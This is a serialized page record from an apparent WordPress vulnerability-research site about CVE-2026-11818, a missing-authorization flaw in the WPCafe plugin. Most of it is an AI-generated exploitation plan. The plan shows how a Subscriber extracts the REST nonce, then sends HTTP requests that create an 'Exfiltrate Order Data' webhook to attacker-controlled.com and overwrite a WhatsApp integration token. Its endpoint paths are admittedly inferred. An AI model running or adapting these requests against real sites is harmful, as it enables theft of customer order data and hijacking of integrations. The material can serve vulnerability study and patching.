[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fs2XtwfohG3RFHT8-kUrq_A-E0MdMiV5g9yjTdQ0iF84":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":9,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":38},"CVE-2026-11818","wpcafe-missing-authorization-to-authenticated-subscriber-arbitrary-modification-via-rest-api","WPCafe \u003C= 3.0.14 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via REST API","The WPCafe – Restaurant Menu, Online Food Ordering & Table Booking System plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.0.14. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to list, create, update, delete, clone, and bulk-delete notification flow workflows that are intended to be managed only by administrators. The only protection on these endpoints is a wp_rest nonce check, which is obtainable by any logged-in user from the frontend page source.","wp-cafe",null,"\u003C=3.0.14","3.0.15","medium",5.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:N","Missing Authorization","2026-07-09 14:47:22","2026-07-10 03:31:16",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9cf2d3bd-359c-4334-ad28-b6b9722edd1c?source=api-prod",1,[22,23,24,25,26,27],"assets\u002Fbuild\u002Fadmin-rtl.css","assets\u002Fbuild\u002Fchunks\u002Fjs\u002F466.eabebea4.js","assets\u002Fbuild\u002Fchunks\u002Fjs\u002Fcommon-b1893266.3a837905.js","assets\u002Fbuild\u002Ffeedback-modal-rtl.css","assets\u002Fbuild\u002Ffrontend-rtl.css","assets\u002Fbuild\u002Fgutenberg-blocks-rtl.css","researched",false,3,"# Exploitation Research Plan: CVE-2026-11818\n\n## 1. Vulnerability Summary\n**CVE-2026-11818** is a Missing Authorization vulnerability in the **WPCafe** plugin (versions \u003C= 3.0.14). The plugin registers several REST API endpoints intended for managing \"notification flow workflows\" (automation triggers for restaurant orders, table bookings, etc.). \n\nWhile these endpoints perform a `wp_rest` nonce check, they fail to implement a `permission_callback` that verifies if the authenticated user has administrative privileges (e.g., `manage_options`). Consequently, any authenticated user, including those with **Subscriber** level access, can manipulate these workflows.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** WordPress REST API.\n*   **Namespace (Inferred):** `wp-cafe\u002Fv1`\n*   **Routes (Inferred):** \n    *   `GET \u002Fwp-json\u002Fwp-cafe\u002Fv1\u002Fflows` (List workflows)\n    *   `POST \u002Fwp-json\u002Fwp-cafe\u002Fv1\u002Fflows` (Create\u002FUpdate workflows)\n    *   `DELETE \u002Fwp-json\u002Fwp-cafe\u002Fv1\u002Fflows\u002F(?P\u003Cid>[\\d]+)` (Delete workflows)\n*   **Authentication:** Authenticated (Subscriber or higher).\n*   **Precondition:** Access to a valid `wp_rest` nonce. This nonce is standard for the WordPress REST API and is localized into the frontend page source for all logged-in users.\n\n## 3. Code Flow\nThe vulnerability resides in the PHP class responsible for registering the Notification Flow REST routes (likely `includes\u002Fmodules\u002Fnotification-flow\u002Fclass-rest-api.php` or similar, based on plugin structure patterns).\n\n1.  **Registration:** The plugin calls `register_rest_route` for the `flows` endpoints.\n2.  **Missing Check:** In the `register_rest_route` configuration array, the `permission_callback` is either:\n    *   Missing entirely.\n    *   Set to `__return_true`.\n    *   Only checks if the user is logged in via `is_user_logged_in()` without checking capabilities.\n3.  **Execution:** When a Subscriber sends a request with a valid `wp_rest` nonce, WordPress passes the request to the plugin's controller (e.g., `get_items`, `create_item`), which proceeds to modify the database.\n\n## 4. Nonce Acquisition Strategy\nThe `wp_rest` nonce is required to interact with the REST API. This is a standard WordPress security feature, but it does not replace proper authorization (capability checks).\n\n1.  **Identify Trigger:** The `wp-api` scripts are typically enqueued on any page where the WPCafe dashboard or frontend ordering system is active.\n2.  **Navigation:** Use the browser to navigate to the WordPress dashboard (as a Subscriber).\n3.  **Extraction:**\n    *   Variable: `window.wpApiSettings`\n    *   Key: `nonce`\n    *   Command: `browser_eval(\"window.wpApiSettings.nonce\")`\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate arbitrary modification by creating a malicious \"Notification Flow\" that could trigger an external webhook or send an email when an order is placed.\n\n### Step 1: Discover Existing Flows\n**Request:**\n```http\nGET \u002Fwp-json\u002Fwp-cafe\u002Fv1\u002Fflows HTTP\u002F1.1\nHost: [TARGET]\nX-WP-Nonce: [EXTRACTED_NONCE]\n```\n\n### Step 2: Create a Malicious Flow\nThis payload creates a workflow that triggers a webhook to an attacker-controlled server whenever a new order is received.\n\n**Request:**\n```http\nPOST \u002Fwp-json\u002Fwp-cafe\u002Fv1\u002Fflows HTTP\u002F1.1\nHost: [TARGET]\nContent-Type: application\u002Fjson\nX-WP-Nonce: [EXTRACTED_NONCE]\n\n{\n    \"title\": \"Exfiltrate Order Data\",\n    \"status\": \"active\",\n    \"trigger\": \"order_status_changed\",\n    \"actions\": [\n        {\n            \"type\": \"webhook\",\n            \"settings\": {\n                \"url\": \"http:\u002F\u002Fattacker-controlled.com\u002Flog\",\n                \"method\": \"POST\"\n            }\n        }\n    ]\n}\n```\n\n## 6. Test Data Setup\n1.  **Install WPCafe:** Ensure WPCafe \u003C= 3.0.14 is installed and activated.\n2.  **Create User:** Create a Subscriber-level user.\n    *   `wp user create attacker attacker@example.com --role=subscriber --user_pass=password123`\n3.  **Plugin Settings:** Enable the \"Notification Flow\" module if it is not active by default in the WPCafe settings.\n\n## 7. Expected Results\n*   **Discovery:** The `GET` request returns a JSON list of existing workflows (even if empty `[]`).\n*   **Creation:** The `POST` request returns a `201 Created` or `200 OK` status with the details of the new flow and an `id`.\n*   **Impact:** A Subscriber has successfully performed an administrative action (creating an automation workflow).\n\n## 8. Verification Steps\nAfter performing the HTTP request, verify the database state via WP-CLI:\n\n```bash\n# Check if the new flow exists in the posts table (WPCafe often uses a custom post type for flows)\nwp post list --post_type=wpc-flow\n\n# Or check the options table if flows are stored as an option\nwp option get wpc_notification_flows\n```\n*(Note: WPCafe typically uses a custom post type `wpc-flow` or a custom table `wp_wpc_notification_flows`)*.\n\n## 9. Alternative Approaches\nIf the `flows` endpoint name differs:\n1.  **Path Fuzzing:** Try `wp-cafe\u002Fv1\u002Fnotification-flows` or `wp-cafe\u002Fv1\u002Fintegrations`.\n2.  **JS Inspection:** Inspect `assets\u002Fbuild\u002Fchunks\u002Fjs\u002F466.eabebea4.js` for strings like `updateIntegrationStatus` or `getIntegrations` to find the exact REST path mapping. \n    *   In the provided source: `(0,a.useSelect)(function(e){return e(null===u.zQ||void 0===u.zQ?void 0:u.zQ.integrations).getIntegrationsState()},[])` indicates an \"integrations\" endpoint.\n3.  **Integrations Modification:** Attempt to modify global settings (e.g., `whatsapp_token`) using the same lack of authorization:\n    ```http\n    POST \u002Fwp-json\u002Fwp-cafe\u002Fv1\u002Fintegrations HTTP\u002F1.1\n    ...\n    {\"name\": \"whatsapp\", \"status\": \"active\", \"whatsapp_token\": \"MALICIOUS_TOKEN\"}\n    ```","The WPCafe plugin for WordPress is vulnerable to unauthorized data modification and information disclosure via the REST API due to missing permission checks on notification flow and integration endpoints. This allows authenticated users, such as Subscribers, to manage administrative workflows, create malicious webhooks, and modify integration settings like API tokens.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-cafe\u002F3.0.14\u002Fassets\u002Fbuild\u002Fadmin-rtl.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-cafe\u002F3.0.15\u002Fassets\u002Fbuild\u002Fadmin-rtl.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-cafe\u002F3.0.14\u002Fassets\u002Fbuild\u002Fadmin-rtl.css\t2026-06-14 09:49:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-cafe\u002F3.0.15\u002Fassets\u002Fbuild\u002Fadmin-rtl.css\t2026-06-23 06:04:52.000000000 +0000\n@@ -1,12311 +1 @@\n-\u002F*!*****************************************************************************************************************************************************************************************************************!*\\\n-  !*** css .\u002Fnode_modules\u002F@wordpress\u002Fscripts\u002Fnode_modules\u002Fcss-loader\u002Fdist\u002Fcjs.js??ruleSet[1].rules[2].use[1]!.\u002Fnode_modules\u002Fpostcss-loader\u002Fdist\u002Fcjs.js??ruleSet[1].rules[2].use[2]!.\u002Fassets\u002Fsrc\u002Fstyles\u002Fadmin.css ***!\\\n-  \\*****************************************************************************************************************************************************************************************************************\u002F\n-\u002F*! tailwindcss v4.2.4 | MIT License | https:\u002F\u002Ftailwindcss.com *\u002F\n... (truncated)","The exploit targets the WPCafe REST API endpoints, specifically the namespaces related to notification flows and integrations (e.g., `wp-cafe\u002Fv1\u002Fflows`). \n\n1. Authentication: The attacker logs into the WordPress site with low-level permissions (Subscriber).\n2. Nonce Acquisition: The attacker extracts the `wp_rest` nonce from the frontend page source, typically found in the `window.wpApiSettings.nonce` JavaScript variable.\n3. Endpoint Interaction: Using the nonce for authentication, the attacker sends a POST request to `\u002Fwp-json\u002Fwp-cafe\u002Fv1\u002Fflows` or `\u002Fwp-json\u002Fwp-cafe\u002Fv1\u002Fintegrations`.\n4. Payload Shape: The payload consists of a JSON object defining a new automation workflow (e.g., triggering an external webhook when an order status changes) or modifying integration credentials such as WhatsApp tokens or FluentCRM webhook URLs.\n5. Outcome: Because the server lacks a `permission_callback` to verify administrative capabilities, the request is processed, allowing the attacker to intercept order data or disrupt plugin integrations.","gemini-3-flash-preview","2026-07-15 11:26:43","2026-07-15 11:27:32",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","3.0.14","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-cafe\u002Ftags\u002F3.0.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-cafe.3.0.14.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-cafe\u002Ftags\u002F3.0.15","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-cafe.3.0.15.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-cafe\u002Ftags"]